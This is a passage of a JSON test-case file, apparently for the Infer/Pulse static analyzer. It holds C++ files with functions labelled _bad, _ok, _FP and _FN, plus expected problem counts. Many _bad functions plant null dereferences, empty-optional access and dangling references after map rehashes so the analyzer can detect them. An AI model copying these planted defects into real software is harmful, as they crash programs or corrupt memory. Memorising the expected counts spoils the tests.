(unknown_bool()) {\n throw \"exc\"; // 20 ExitProgram disjuncts\n }\n return; // 20 ContinueProgram disjuncts\n}\n\nvoid call_join_full_disjs2_bad() {\n join_full_disjs2();\n int* p = nullptr;\n *p = 42;\n}\n\nvoid join_full_disjs3() {\n int x = get_full_disjs();\n bool b;\n if (unknown_bool()) {\n b = 1; // 20 ContinueProgram disjuncts with b = 1\n } else {\n b = 0; // 20 ContinueProgram disjuncts with b = 0\n }\n if (b) {\n throw \"exc\";\n }\n return;\n}\n\nvoid call_join_full_disjs3_bad() {\n join_full_disjs3();\n int* p = nullptr;\n *p = 42;\n}\n\nstruct Arr {\n int arr[2];\n std::vector vec;\n};\n\nvoid copy_and_modify_ok(const std::vector& v, const Arr& arg) {\n int x = get_full_disjs(); // make max disjuncts\n auto copied_arg = arg; // copy arg\n for (const int& e : v) {\n copied_arg.arr[0] = 42; // modify copied_arg\n int y = arg.arr[0];\n }\n}\n\nvoid full_disjs_call_after_branch_bad_FN() {\n bool b = unknown_bool() ? 1 : 0;\n // two disjuncts\n // #0: {b=1}\n // #1: {b=0}\n\n get_full_disjs();\n // 20 disjuncts only with #0, i.e. in all disjuncts b=1.\n\n if (!b) {\n // 0 disjunct here!\n int* p = nullptr;\n *p = 42;\n }\n}\n\nclass FullDisjsInLoop {\n Arr arr;\n\n void full_disjs_in_loop_ok1(int k) {\n Arr x;\n for (int i = 0; i < k; i++) {\n arr = x;\n }\n }\n\n void full_disjs_in_loop_ok2_FP(int k) {\n Arr x;\n get_full_disjs();\n for (int i = 0; i < k; i++) {\n // Pulse does not know `x` is copied multiple times here.\n arr = x;\n }\n }\n\n void get_arr(Arr arr) {}\n\n void full_disjs_in_loop_ok3(int k) {\n Arr x;\n get_full_disjs();\n for (int i = 0; i < k; i++) {\n // Pulse suppresses the issue when `x` is copied to intermediate in a\n // loop.\n get_arr(x);\n }\n }\n};\n\n} // namespace max_disjuncts\n" + }, + { + "testname": "memory_leak.cpp", + "testlanguage": "c++", + "expected-problems": 15, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nvoid malloc_free_ok(int count) {\n int* e = (int*)malloc(count);\n int* res[] = {e};\n free(e);\n}\n\nvoid constant_index_ok(int count) {\n int* e = (int*)malloc(count);\n int* res[] = {e};\n free(res[0]);\n}\n\nvoid symbolic_index_ok(int x, int** res) {\n int* e = (int*)malloc(10);\n res[x] = e;\n free(res[x]);\n}\n" + }, + { + "testname": "nullptr.cpp", + "testlanguage": "c++", + "expected-problems": 88, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n#include \n#include \n\nclass A {\n public:\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wundefined-bool-conversion\"\n int this_notnull_ok() {\n if (!this) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n }\n int this_notnull_bad() {\n if (this) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n }\n#pragma clang diagnostic pop\n\n static int expect_notnull_ok(A* a) { return a->return_zero(); }\n static int call_null_arg_bad() { return expect_notnull_ok(nullptr); }\n int return_zero() { return 0; }\n};\n\nvoid assign_zero_ok() {\n int x[2];\n x[1] = 42;\n}\n\nvoid deref_nullptr_bad() {\n int* p = nullptr;\n *p = 42;\n}\n\nint* maybe_dangerous();\nvoid deref_maybe_dangerous_ok() {\n int* p = maybe_dangerous();\n *p = 42;\n}\n\nint* dangerous();\nvoid deref_dangerous_bad() {\n int* p = dangerous();\n *p = 42;\n}\n\nvoid guarded_nullptr_ok() {\n int* p = nullptr;\n if (p != nullptr) {\n *p = 42;\n }\n}\n\nstruct X {\n void foo();\n};\n\nbool choice();\n\nX* may_return_nullptr() {\n if (choice()) {\n return nullptr;\n }\n return new X();\n}\n\nvoid no_check_return_bad() {\n X* x = may_return_nullptr();\n x->foo();\n delete x;\n}\n\nvoid check_return_ok() {\n X* x = may_return_nullptr();\n if (x != nullptr) {\n x->foo();\n delete x;\n }\n}\n\nvoid compare_to_null(void* x) {\n if (x) {\n }\n}\n\nvoid deref_after_compare_ok(int* x) {\n compare_to_null(x);\n *x = 42;\n}\n\nbool return_true() { return std::true_type{}; }\n\nvoid std_true_type_impossible_deref_ok() {\n int* x = nullptr;\n if (!return_true()) {\n *x = 42;\n }\n}\n\nvoid std_true_type_deref_bad() {\n int* x = nullptr;\n if (return_true()) {\n *x = 42;\n }\n}\n\nbool return_false() { return std::false_type{}; }\n\nvoid std_false_type_impossible_deref_ok() {\n int* x = nullptr;\n if (return_false()) {\n *x = 42;\n }\n}\n\nvoid std_false_type_deref_bad() {\n int* x = nullptr;\n if (!return_false()) {\n *x = 42;\n }\n}\n\nstd::atomic global_var{true};\n\nnamespace ns1 {\nnamespace ns2 {\nvoid fun_abort(bool b) {\n bool abort = true;\n if (b) {\n abort = global_var.load();\n } else {\n abort = true;\n }\n if (abort) {\n std::abort();\n }\n}\n} // namespace ns2\n} // namespace ns1\n\nX global_x;\n\nX* getX(bool b) {\n if (b) {\n return &global_x;\n } else {\n ns1::ns2::fun_abort(true);\n }\n\n return nullptr;\n}\n\nvoid call_modeled_abort_ok() { getX(false)->foo(); }\n\nstruct S {\n int field;\n};\n\nvoid set_S();\n\nstruct T {\n static S*& get() {\n auto& s = T::getRaw();\n if (T::getRaw() == nullptr) {\n set_S();\n }\n return s;\n }\n\n static S*& getRaw() {\n thread_local S* s = nullptr;\n return s;\n }\n};\n\nvoid set_S() {\n auto& s = T::getRaw();\n if (s != nullptr) {\n return;\n }\n\n s = (S*)calloc(1, sizeof(S));\n if (!s) {\n exit(1);\n }\n}\n\nint thread_local_was_set_ok() { return T::get()->field; }\n\nstruct Item {\n X* get() const;\n};\n\nstruct Handle {\n X* get() const noexcept {\n return item_.get() == nullptr ? nullptr : toX(item_);\n }\n\n X* operator->() const noexcept {\n // dynamic check get() != null\n return get();\n }\n\n private:\n Item item_{};\n static X* toX(Item item);\n};\n\n// We do not want to report nullptr dereference in this case\n// as we \"know\" that Item::get does not return null, however\n// at the moment we are not able to show it in pulse.\n// That's why as a workaround we model the analysis of Handle::get\n// to return non-null\nvoid explicit_check_for_null_ok(Handle h) { return h->foo(); }\n\nX* checks_for_null() { return getX(true) == nullptr ? nullptr : new X(); }\n\nvoid cannot_be_null_ok() { return checks_for_null()->foo(); }\n\nvoid free_nullptr_ok() {\n int* p = nullptr;\n free(p);\n}\n\nvoid delete_nullptr_ok() {\n int* p = nullptr;\n delete p;\n}\n\nvoid test_after_dereference_bad(int* x) {\n // create a path split where x==0 in one of the paths\n // since this happens in the same function that x is dereferenced we\n // should report\n if (x == 0)\n ;\n *x = 42;\n}\n\n// Filtered out\nvoid test_after_dereference2_latent(int* x) {\n *x = 42;\n if (x == 0)\n ;\n}\n\nvoid call_test_after_dereference2_bad() {\n test_after_dereference2_latent(NULL);\n}\n\nenum Type { STRING };\n\nstatic constexpr Type typeGlobal = STRING;\n\nstruct D {\n Type type;\n std::string string;\n\n D(std::string s) : type(STRING) { new (&string) std::string(std::move(s)); }\n\n std::string const* get() const& {\n if (type != typeGlobal) {\n return nullptr;\n }\n return &string;\n }\n\n std::string to(const std::string& value) const { return value.c_str(); };\n\n std::string asString() const {\n if (type == STRING) {\n const std::string& value = *get();\n return to(value);\n }\n return \"\";\n }\n};\n\nstd::string global_const_skipped_function_ok() {\n D* s = new D(\"\");\n std::shared_ptr ptr(s);\n return ptr->asString();\n}\n\nstruct SomeClass {\n X* pointer_;\n int field_init_to_zero_{0};\n explicit SomeClass(X* ptr) : pointer_(ptr) {\n if (pointer_) {\n }\n }\n};\n\nclass SomeDerivedClass : public SomeClass {\n public:\n explicit SomeDerivedClass(X* ptr) : SomeClass(ptr) { ptr->foo(); }\n};\n\nX* unknown_function_X();\n\n// this creates a null derefer false positives with a non-sensical \"forked\"\n// trace (one sub-trace for where 0 came from, which in this case ends in the\n// unrelated \"field_init_to_zero\" assignment, and one sub-trace for the\n// dereference in ptr->foo() in the constructor), which should be ignored\nvoid createSomeDerivedClass_from_unknown_function_ok() {\n SomeDerivedClass something(unknown_function_X());\n}\n\nvoid test_call_nullptr_bad() {\n void (*f)() = nullptr;\n f();\n}\n\nvoid incr_deref(int* x, int* y) {\n (*x)++;\n (*y)++;\n}\n\nvoid call_incr_deref_with_alias_bad(void) {\n int x = 0;\n int* ptr = &x;\n incr_deref(ptr, ptr);\n if (x == 2) {\n ptr = nullptr;\n }\n x = *ptr;\n}\n\nvoid call_incr_deref_with_alias_good(void) {\n int x = 0;\n int* ptr = &x;\n incr_deref(ptr, ptr);\n if (x != 2) {\n ptr = nullptr;\n }\n x = *ptr;\n}\n\n// FN in pulse-11 tests because incr_deref contructions forgets about its\n// captured vars\nvoid test_capture_alias_bad(void) {\n int x = 0;\n int* ptr = &x;\n auto incr_deref = [ptr](int* ptr2) {\n (*ptr)++;\n (*ptr2)++;\n };\n incr_deref(ptr);\n if (x == 2) {\n ptr = nullptr;\n }\n x = *ptr;\n}\n\n// FP in pulse-11 tests because incr_deref contructions forgets about its\n// captured vars\nvoid test_capture_alias_good(void) {\n int x = 0;\n int* ptr = &x;\n auto incr_deref = [ptr](int* ptr2) {\n (*ptr)++;\n (*ptr2)++;\n };\n incr_deref(ptr);\n if (x != 2) {\n ptr = nullptr;\n }\n x = *ptr;\n}\n" + }, + { + "testname": "optional.cpp", + "testlanguage": "c++", + "expected-problems": 102, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n\n// remove once we upgrade clang:\n// https://github.com/llvm/llvm-project/issues/37522\n#pragma clang diagnostic ignored \"-Wundefined-inline\"\n\nnamespace folly {\n\ntemplate \nclass Optional;\n\nstruct None {\n enum class _secret { _token };\n explicit constexpr None(_secret) {}\n};\nconstexpr None none{None::_secret::_token};\n\ntemplate \nclass Optional {\n public:\n typedef Value value_type;\n\n constexpr Optional();\n\n Optional(const Optional& src);\n\n constexpr Optional(const None&) noexcept;\n\n constexpr Optional(const Value& newValue);\n\n constexpr Optional(Value&& newValue);\n\n void assign(const None&);\n\n void assign(const Optional& src);\n\n Optional& operator=(None) noexcept {\n reset();\n return *this;\n }\n\n Optional& operator=(const Optional& other) {\n assign(other);\n return *this;\n }\n\n template \n Value& emplace(Args&&... args);\n\n void reset() noexcept;\n\n constexpr const Value& value() const&;\n\n constexpr bool has_value() const noexcept;\n\n constexpr explicit operator bool() const noexcept { return has_value(); }\n\n constexpr const Value* operator->() const { return &value(); }\n\n Value* get_pointer();\n\n template \n constexpr Value value_or(U&& dflt) const&;\n};\n} // namespace folly\n\nstruct Integer {\n int field;\n\n Integer(int x = 0) : field(x) {}\n int get() const { return field; }\n};\n\nvoid call_constructors() {\n // Since in this file we define only the interface of Optional, we need\n // to call some methods to ensure that they are actually compiled (and thus\n // analyzed).\n Integer x(5);\n Integer y(x);\n Integer z(std::move(x));\n}\n\nint not_none_ok() {\n folly::Optional foo{5};\n return foo.value();\n}\n\n// missing a more precise model for\n// constructing an optional from a value\nint not_none_check_value0_ok() {\n folly::Optional foo{5};\n int x = foo.value();\n if (x != 5) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return x;\n}\n\nint not_none_check_value1_ok() {\n int p = 5;\n folly::Optional foo{p};\n p++;\n int x = foo.value();\n if (x != 5) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return x;\n}\n\nint not_none_check_value2_ok() {\n auto p = Integer{5};\n folly::Optional foo{p};\n p.field += 1;\n if (foo.value().get() != 5) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return 0;\n}\n\nint not_none_check_value0_bad() {\n folly::Optional foo{5};\n if (foo.value() == 5) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return 0;\n}\n\nint not_none_check_value1_bad() {\n auto p = Integer{5};\n folly::Optional foo{p};\n if (foo.value().get() == 5) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return 0;\n}\n\nint not_none_check_value2_bad() {\n auto p = Integer{5};\n folly::Optional foo{p};\n p.field += 1;\n if (foo.value().get() == 5) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return 0;\n}\n\nint none_check_ok() {\n folly::Optional foo{folly::none};\n if (foo) {\n return foo.value();\n }\n return -1;\n}\n\nint none_no_check_bad() {\n folly::Optional foo{folly::none};\n return foo.value();\n}\n\nint not_none_copy0_ok() {\n folly::Optional foo{5};\n folly::Optional bar{foo};\n if (foo.value() != 5) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return 0;\n}\n\nint not_none_copy0_bad() {\n folly::Optional foo{5};\n folly::Optional bar{foo};\n if (foo.value() == 5) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return 0;\n}\n\nint not_none_copy_ok() {\n folly::Optional foo{5};\n folly::Optional bar{foo};\n return bar.value();\n}\n\nint none_copy_bad() {\n folly::Optional foo{folly::none};\n folly::Optional bar{foo};\n return bar.value();\n}\n\nint assign_ok() {\n folly::Optional foo{5};\n folly::Optional bar{foo};\n foo = folly::none;\n return bar.value();\n}\n\nint assign_bad() {\n folly::Optional foo{folly::none};\n folly::Optional bar{5};\n int sum = bar.value();\n bar = foo;\n sum += bar.value();\n return sum;\n}\n\nint assign2_bad() {\n folly::Optional foo{5};\n int sum = foo.value();\n foo = folly::none;\n sum += foo.value();\n return sum;\n}\n\nint has_value_ok() {\n folly::Optional foo{0};\n if (!foo.has_value() || foo.value() != 0) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return 0;\n}\n\nint has_value_bad() {\n folly::Optional foo{0};\n if (foo.has_value() && foo.value() == 0) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return 0;\n}\n\nstruct State {\n std::vector vec;\n};\n\nvoid emplace(folly::Optional state) {\n if (state) {\n state.emplace();\n }\n auto pos = state->vec.begin();\n}\n\nvoid operator_arrow_bad() { emplace(folly::none); }\n\nvoid get_pointer_check_none_check_ok() {\n folly::Optional foo{folly::none};\n if (int* v = foo.get_pointer()) {\n *v = 42;\n }\n}\n\nvoid get_pointer_check_value_check_ok() {\n folly::Optional foo{5};\n if (int* ptr = foo.get_pointer()) {\n *ptr = 42;\n }\n}\n\nvoid get_pointer_no_check_none_check_bad() {\n folly::Optional foo{folly::none};\n int* ptr = foo.get_pointer();\n *ptr = 42;\n}\n\nvoid get_pointer_no_check_value_check_ok() {\n folly::Optional foo{5};\n int* ptr = foo.get_pointer();\n *ptr = 42;\n}\n\nint value_or_check_empty_ok() {\n folly::Optional foo{folly::none};\n if (foo.value_or(0) > 0) {\n return foo.value();\n }\n return -1;\n}\n\nint value_or_check_value_ok() {\n folly::Optional foo{5};\n int x = foo.value_or(0);\n if (x != 5) {\n folly::Optional foo{folly::none};\n return foo.value();\n }\n return -1;\n}\n\nint test_trace_ref() {\n folly::Optional foo{5};\n int sum = foo.value();\n foo = folly::none;\n const int& x = foo.value();\n sum += x;\n return sum;\n}\n\nstruct StringWrapper {\n static folly::Optional get_optional() {\n return StringWrapper();\n };\n std::string x;\n};\n\nstd::string get_optional_string_wrapper_ok() {\n return StringWrapper::get_optional().value().x.data();\n}\n\nstruct Container final {\n std::vector _vec;\n\n Container() : _vec(std::vector{}) {}\n\n folly::Optional getFirst() const {\n if (_vec.empty()) {\n return folly::none;\n }\n return _vec.front();\n }\n\n int optional_check_ok(const Container& c) {\n if (!c._vec.empty()) {\n return c.getFirst().value();\n }\n return -1;\n }\n};\n\nstruct Node {\n std::shared_ptr shared;\n\n folly::Optional> getShared() const {\n if (shared == nullptr) {\n return folly::none;\n }\n return shared;\n }\n};\n\nint smart_pointer(const Node& node) {\n if (node.getShared().has_value()) {\n return *(node.getShared().value());\n }\n return -1;\n}\n" + }, + { + "testname": "pair.cpp", + "testlanguage": "c++", + "expected-problems": 22, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include // for std::get\n\nnamespace pair {\n\nstd::pair pairOfZeroNull() {\n return std::pair(0, nullptr);\n}\n\nstd::pair pairOfZeroNull2() { return std::make_pair(0, nullptr); }\n\nstd::pair pairOfZeroNull3() { return std::make_pair(58, 42); }\n\nint deref_makepair_constants0_bad() {\n auto p = pairOfZeroNull3();\n if (p.first == 58) {\n // Should report an NPE here as p.first is equal to 58\n int* q = nullptr;\n return *q;\n }\n return p.first;\n}\n\nint deref_makepair_constants1_bad() {\n auto p = pairOfZeroNull3();\n if (p.second == 42) {\n // Should report an NPE here as p.second is equal to 42\n int* q = nullptr;\n return *q;\n }\n return p.first;\n}\n\nint deref_makepair_constants0_ok() {\n auto p = pairOfZeroNull3();\n if (p.first != 58) {\n // Should not report an NPE here as p.first is equal to 58\n int* q = nullptr;\n return *q;\n }\n return p.first;\n}\n\nint deref_makepair_constants1_ok() {\n auto p = pairOfZeroNull3();\n if (p.second != 42) {\n // Should not report an NPE here as p.second is equal to 42\n int* q = nullptr;\n return *q;\n }\n return p.first;\n}\n\nint FN_deref_pair_null0_bad() {\n auto p = pairOfZeroNull();\n // Should report an NPE here as p.second is NULL\n return p.first + *p.second;\n}\n\nint FN_deref_pair_null1_bad() {\n auto p = pairOfZeroNull();\n // Should report an NPE here as p.second is NULL\n return std::get<0>(p) + *std::get<1>(p);\n}\n\nint FN_deref_makepair_null0_bad() {\n auto p = pairOfZeroNull2();\n // Should report an NPE here as p.second is NULL\n return p.first + *p.second;\n}\n\nint FN_deref_makepairnull1_bad() {\n auto p = pairOfZeroNull2();\n // Should report an NPE here as p.second is NULL\n return std::get<0>(p) + *std::get<1>(p);\n}\n\nint deref_pair_null_guard0_ok() {\n auto p = pairOfZeroNull();\n if (p.second != nullptr) {\n // Should not report an NPE here as p.second is guarded\n return p.first + *p.second;\n }\n return 0;\n}\n\nint deref_makepair_null_guard1_ok() {\n auto p = pairOfZeroNull2();\n if (p.second != nullptr) {\n // Should not report an NPE here as p.second is guarded\n return p.first + *p.second;\n }\n return 0;\n}\n\n} // namespace pair\n" + }, + { + "testname": "path.cpp", + "testlanguage": "c++", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nint* may_return_null(int x) {\n if (x == 42) {\n return nullptr;\n }\n return new int();\n}\n\nvoid FP_only_bad_on_42_latent(int x) {\n int* p = may_return_null(x);\n *p = 12;\n delete p;\n}\n\nvoid FN_faulty_call_bad() { FP_only_bad_on_42_latent(42); }\n\nvoid call_not_with_42_ok() { FP_only_bad_on_42_latent(41); }\n" + }, + { + "testname": "readonly_shared_ptr_param.cpp", + "testlanguage": "c++", + "expected-problems": 17, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nint read_shared_ptr_param_bad(std::shared_ptr x) { return *x; }\n\nint read_shared_ptr_param_cond_bad(std::shared_ptr x) {\n if (x) {\n return *x;\n } else {\n return 42;\n }\n}\n\n// x should be captured with move.\nstd::function captured_shared_ptr_param_bad_FN(\n std::shared_ptr x) {\n return [x]() {};\n}\n\nclass SharedPtrField1_Bad {\n std::shared_ptr field;\n\n public:\n // x should be moved.\n SharedPtrField1_Bad(std::shared_ptr x) { field = x; }\n};\n\nint* global_ptr;\n\n// It reports PULSE_READONLY_SHARED_PTR_PARAM. While copying raw pointer to\n// global is dangerous in general, changing the function to get a raw\n// pointer does not make it more dangerous.\nvoid copy_raw_ptr_to_global_bad(std::shared_ptr x) {\n global_ptr = x.get();\n}\n\nstd::shared_ptr global_shared_ptr;\n\n// x should be moved.\nvoid copy_shared_ptr_to_global_bad(std::shared_ptr x) {\n global_shared_ptr = x;\n}\n" + }, + { + "testname": "reference_stability.cpp", + "testlanguage": "c++", + "expected-problems": 230, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n#include \n#include \n\n// Keep a simplified skeleton of F14 maps for testing.\nnamespace folly {\nstruct F14HashToken {};\n\nnamespace f14::detail {\ntemplate \nstruct ValueContainerIterator {\n using pointee = typename std::pointer_traits::element_type;\n using pointer = ValuePtr;\n using reference = pointee&;\n\n reference operator*() const;\n pointer operator->() const;\n ValueContainerIterator& operator++();\n friend bool operator==(ValueContainerIterator const& lhs,\n ValueContainerIterator const& rhs);\n friend bool operator!=(ValueContainerIterator const& lhs,\n ValueContainerIterator const& rhs);\n};\n\ntemplate \nstruct VectorContainerIterator {\n using pointee = typename std::pointer_traits::element_type;\n using pointer = ValuePtr;\n using reference = pointee&;\n\n reference operator*() const;\n pointer operator->() const;\n VectorContainerIterator& operator++();\n friend bool operator==(VectorContainerIterator const& lhs,\n VectorContainerIterator const& rhs);\n friend bool operator!=(VectorContainerIterator const& lhs,\n VectorContainerIterator const& rhs);\n};\n\ntemplate \nstruct F14BasicMap {\n using key_type = Key;\n using mapped_type = Mapped;\n using value_type = std::pair;\n using size_type = std::size_t;\n using iterator = Iter;\n using const_iterator = ConstIter;\n\n F14BasicMap() noexcept;\n\n explicit F14BasicMap(std::size_t initialCapacity);\n\n template \n F14BasicMap(InputIt first, InputIt last, std::size_t initialCapacity = 0);\n\n F14BasicMap(F14BasicMap const& rhs);\n\n F14BasicMap(F14BasicMap&& rhs);\n\n F14BasicMap(std::initializer_list init,\n std::size_t initialCapacity = 0);\n\n F14BasicMap& operator=(F14BasicMap const&);\n\n F14BasicMap& operator=(F14BasicMap&&);\n\n F14BasicMap& operator=(std::initializer_list ilist);\n\n iterator begin() noexcept;\n const_iterator begin() const noexcept;\n const_iterator cbegin() const noexcept;\n iterator end() noexcept;\n const_iterator end() const noexcept;\n const_iterator cend() const noexcept;\n\n void clear() noexcept;\n\n std::pair insert(value_type const& value);\n std::pair insert(value_type&& value);\n iterator insert(const_iterator /*hint*/, value_type const& value);\n iterator insert(const_iterator /*hint*/, value_type&& value);\n\n template \n iterator emplace_hint(const_iterator /*hint*/, Args&&... args);\n\n template \n void insert(InputIt first, InputIt last);\n void insert(std::initializer_list ilist);\n\n template \n std::pair insert_or_assign(key_type const& key, M&& obj);\n\n template \n std::pair insert_or_assign(key_type&& key, M&& obj);\n\n template \n std::pair insert_or_assign(F14HashToken const& token,\n key_type const& key,\n M&& obj);\n\n template \n std::pair insert_or_assign(F14HashToken const& token,\n key_type&& key,\n M&& obj);\n\n template \n iterator insert_or_assign(const_iterator /*hint*/,\n key_type const& key,\n M&& obj);\n\n template \n iterator insert_or_assign(const_iterator /*hint*/, key_type&& key, M&& obj);\n\n template \n std::pair emplace(Args&&... args);\n\n template \n std::pair try_emplace(key_type const& key, Args&&... args);\n\n template \n std::pair try_emplace(key_type&& key, Args&&... args);\n\n template \n std::pair try_emplace_token(F14HashToken const& token,\n key_type const& key,\n Args&&... args);\n\n template \n std::pair try_emplace_token(F14HashToken const& token,\n key_type&& key,\n Args&&... args);\n\n template \n iterator try_emplace(const_iterator /*hint*/,\n key_type const& key,\n Args&&... args);\n\n template \n iterator try_emplace(const_iterator /*hint*/, key_type&& key, Args&&... args);\n\n iterator erase(const_iterator pos);\n\n iterator erase(iterator pos);\n\n iterator erase(const_iterator first, const_iterator last);\n\n size_type erase(key_type const& key);\n\n template \n iterator eraseInto(const_iterator pos, BeforeDestroy&& beforeDestroy);\n\n template \n iterator eraseInto(iterator pos, BeforeDestroy&& beforeDestroy);\n\n template \n iterator eraseInto(const_iterator first,\n const_iterator last,\n BeforeDestroy&& beforeDestroy);\n\n template \n size_type eraseInto(key_type const& key, BeforeDestroy&& beforeDestroy);\n\n mapped_type& at(key_type const& key);\n\n mapped_type const& at(key_type const& key) const;\n\n mapped_type& operator[](key_type const& key);\n\n mapped_type& operator[](key_type&& key);\n\n size_type count(key_type const& key) const;\n\n F14HashToken prehash(key_type const& key) const;\n\n iterator find(key_type const& key);\n const_iterator find(key_type const& key) const;\n iterator find(F14HashToken const& token, key_type const& key);\n const_iterator find(F14HashToken const& token, key_type const& key) const;\n\n bool contains(key_type const& key) const;\n bool contains(F14HashToken const& token, key_type const& key) const;\n\n std::pair equal_range(key_type const& key);\n\n std::pair equal_range(\n key_type const& key) const;\n\n void rehash(std::size_t bucketCapacity);\n\n void reserve(std::size_t capacity);\n\n std::size_t size() const;\n};\n\ntemplate \nclass F14VectorMapImpl\n : public F14BasicMap<\n Key,\n Mapped,\n VectorContainerIterator*>,\n VectorContainerIterator const*>> {\n using F14BasicMap*>,\n VectorContainerIterator<\n std::pair const*>>::F14BasicMap;\n};\n} // namespace f14::detail\n\ntemplate \nstruct F14ValueMap\n : public f14::detail::F14BasicMap<\n Key,\n Mapped,\n f14::detail::ValueContainerIterator*>,\n f14::detail::ValueContainerIterator<\n std::pair const*>> {\n using f14::detail::F14BasicMap<\n Key,\n Mapped,\n f14::detail::ValueContainerIterator*>,\n f14::detail::ValueContainerIterator<\n std::pair const*>>::F14BasicMap;\n\n void swap(F14ValueMap& rhs);\n};\n\ntemplate \nstruct F14VectorMap : public f14::detail::F14VectorMapImpl {\n using f14::detail::F14VectorMapImpl::F14VectorMapImpl;\n\n void swap(F14VectorMap& rhs);\n};\n\ntemplate \nstruct F14FastMap : public std::conditional<\n sizeof(std::pair) < 24,\n F14ValueMap,\n f14::detail::F14VectorMapImpl>::type {\n using Super = typename std::conditional<\n sizeof(std::pair) < 24,\n F14ValueMap,\n f14::detail::F14VectorMapImpl>::type;\n using Super::Super;\n\n void swap(F14FastMap& rhs);\n};\n} // namespace folly\n\n// sizeof(std::pair) >= 24.\nstruct BigPoint {\n std::uint64_t x, y, z;\n friend BigPoint operator+(const BigPoint& a, const BigPoint& b) {\n return {a.x + b.x, a.y + b.y, a.z + b.z};\n }\n friend bool operator==(const BigPoint& a, const BigPoint& b);\n};\n\ntemplate <>\nstruct std::hash {\n std::size_t operator()(const BigPoint& point) const;\n};\n\nvoid unordered_map_ok() {\n std::unordered_map map = {{1, 1}, {2, 4}, {3, 9}};\n\n // Obtain long-lived references to keys and values.\n const auto& keyRef = map.begin()->first;\n const auto& valueRef = map.begin()->second;\n\n // Possible rehash, but std::unordered_map guarantees reference stability.\n map[4] = 16;\n const auto keyCopy = keyRef;\n}\n\nvoid folly_fastmap_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n\n // Obtain long-lived references to keys and values.\n const auto& keyRef = map.begin()->first;\n const auto& valueRef = map.begin()->second;\n\n // Possible rehash, references invalidated.\n map.emplace(4, 16);\n const auto keyCopy = keyRef;\n}\n\nvoid folly_fastmap_short_lived_ok() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n\n {\n // Use short-lived references in a limited scope.\n const auto& keyRef = map.begin()->first;\n const auto& valueRef = map.begin()->second;\n\n const auto keyCopy = keyRef;\n const auto valueCopy = valueRef;\n\n // No need to access keyRef and valueRef outside this block.\n // Short-lived references are still valid here.\n }\n\n // Modify the map (no potential issues with short-lived references).\n map[4] = 16;\n\n // Access elements using iterators (no long-lived references).\n for (const auto& pair : map) {\n const auto keyCopy = pair.first;\n const auto valueCopy = pair.second;\n }\n}\n\nvoid long_lived_but_unused_ref_ok() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n\n const auto& value = map.at(1);\n\n map.reserve(100);\n\n // value should be marked as invalidated here, but no error reported.\n}\n\n// We know there is no growth, so iterators/references wouldn't be invalidated.\nvoid no_growth_ok_FP() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n\n const auto& keyRef = map.at(1);\n\n // We know that 1 is already a key in the map, so there won't be a rehash.\n map[1] = 1;\n\n const auto valueCopy = keyRef;\n}\n\nvoid folly_valuemap_bad() {\n folly::F14ValueMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.clear();\n const auto valueCopy = valueRef;\n}\n\nvoid folly_vectormap_bad() {\n folly::F14VectorMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.clear();\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_clear_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.clear();\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_rehash_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.rehash(13);\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_reserve_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.reserve(13);\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_operator_equal_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map = folly::F14FastMap();\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_insert_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.insert({4, 16});\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_hinted_insert_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.insert(map.cbegin(), {4, 16});\n const auto valueCopy = 